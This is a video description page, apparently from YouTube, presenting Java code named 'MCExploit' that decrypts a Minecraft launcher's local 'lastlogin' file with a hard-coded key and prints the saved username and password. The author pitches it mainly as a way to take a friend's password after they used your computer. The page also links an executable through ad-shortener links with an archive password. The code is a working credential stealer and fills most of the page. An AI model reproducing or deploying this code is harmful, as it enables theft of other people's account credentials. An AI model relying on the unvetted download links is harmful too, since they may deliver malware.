Minecraft Password Recovery - Decrypt Last Login file - OUTDATED
This is useful if your friend came over and used your computer to play minecraft, and you wanted his password. It can also be used if you have forgotten your own password.
The account I used as an example's password has been changed, dont even try. :P
*UPDATE: You may now download the executable version of this tutorial! You only have to download the newest java version development kit, and then just download this file and run it! (Thanks to: pspm8)
Download: http://adf.ly/C87hk
Virus Scan: http://adf.ly/C882N
Password: Aaron565
Links:
http://www.oracle.com/technetwork/java/javase/downloads/jdk-7u2-download-1377129.html
http://www.eclipse.org/downloads/packages/eclipse-ide-java-developers/indigosr1
Code (Of my making and no other persons' or organizations'. The use of it without a direct referral to my account is an act of plagiarism, and is punishable) :
COPY AND PASTE FROM TOP TO BOTTOM.
import java.io.*;
import java.net.*;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class MCExploit
{
public static void main(String[] args) throws Exception
{
System.out.println(MCStealer());
}
public static String MCStealer() throws Exception
{
String output = null;
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
if (getWorkingDirectory().exists())
{
File lastLogin = new File(getWorkingDirectory(), "lastlogin");
DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
output = dis.readUTF() + " | " + dis.readUTF();
dis.close();
}
return output;
}
public static File getWorkingDirectory()
{
String userHome = System.getProperty("user.home", ".");
File workingDirectory;
switch (getPlatform())
{
case 1:
case 2:
workingDirectory = new File(userHome, ".minecraft/");
break;
case 3:
String applicationData = System.getenv("APPDATA");
if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else
workingDirectory = new File(userHome, ".minecraft/");
break;
case 4:
workingDirectory = new File(userHome, "Library/Application Support/minecraft");
break;
default:
workingDirectory = new File(userHome, ".minecraft/");
}
return workingDirectory;
}
private static int getPlatform()
{
String osName = System.getProperty("os.name").toLowerCase();
if (osName.contains("linux")) return 1;
if (osName.contains("unix")) return 1;
if (osName.contains("solaris")) return 2;
if (osName.contains("sunos")) return 2;
if (osName.contains("win")) return 3;
if (osName.contains("mac")) return 4;
return 5;
}
}
Remember to subscribe!
---- DISCLAIMER! ----
FOR EDUCATIONAL PURPOSES ONLY
Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use.
All audio, images, or any third party content belongs to the respected owners, unless otherwise stated no copyright infringement intended. Videos are created for nonprofit , non commercial, entertainment purposes only.
All contents are intended to be used for educational purposes only.
--------------------------------------------------------------------
I own all rights to this video as stated in DMCA Copyright laws: http://www.copyright.gov/legislation/dmca.pdf
Video Length: 05:49
Uploaded By: Aaron565pwns
View Count: 97,151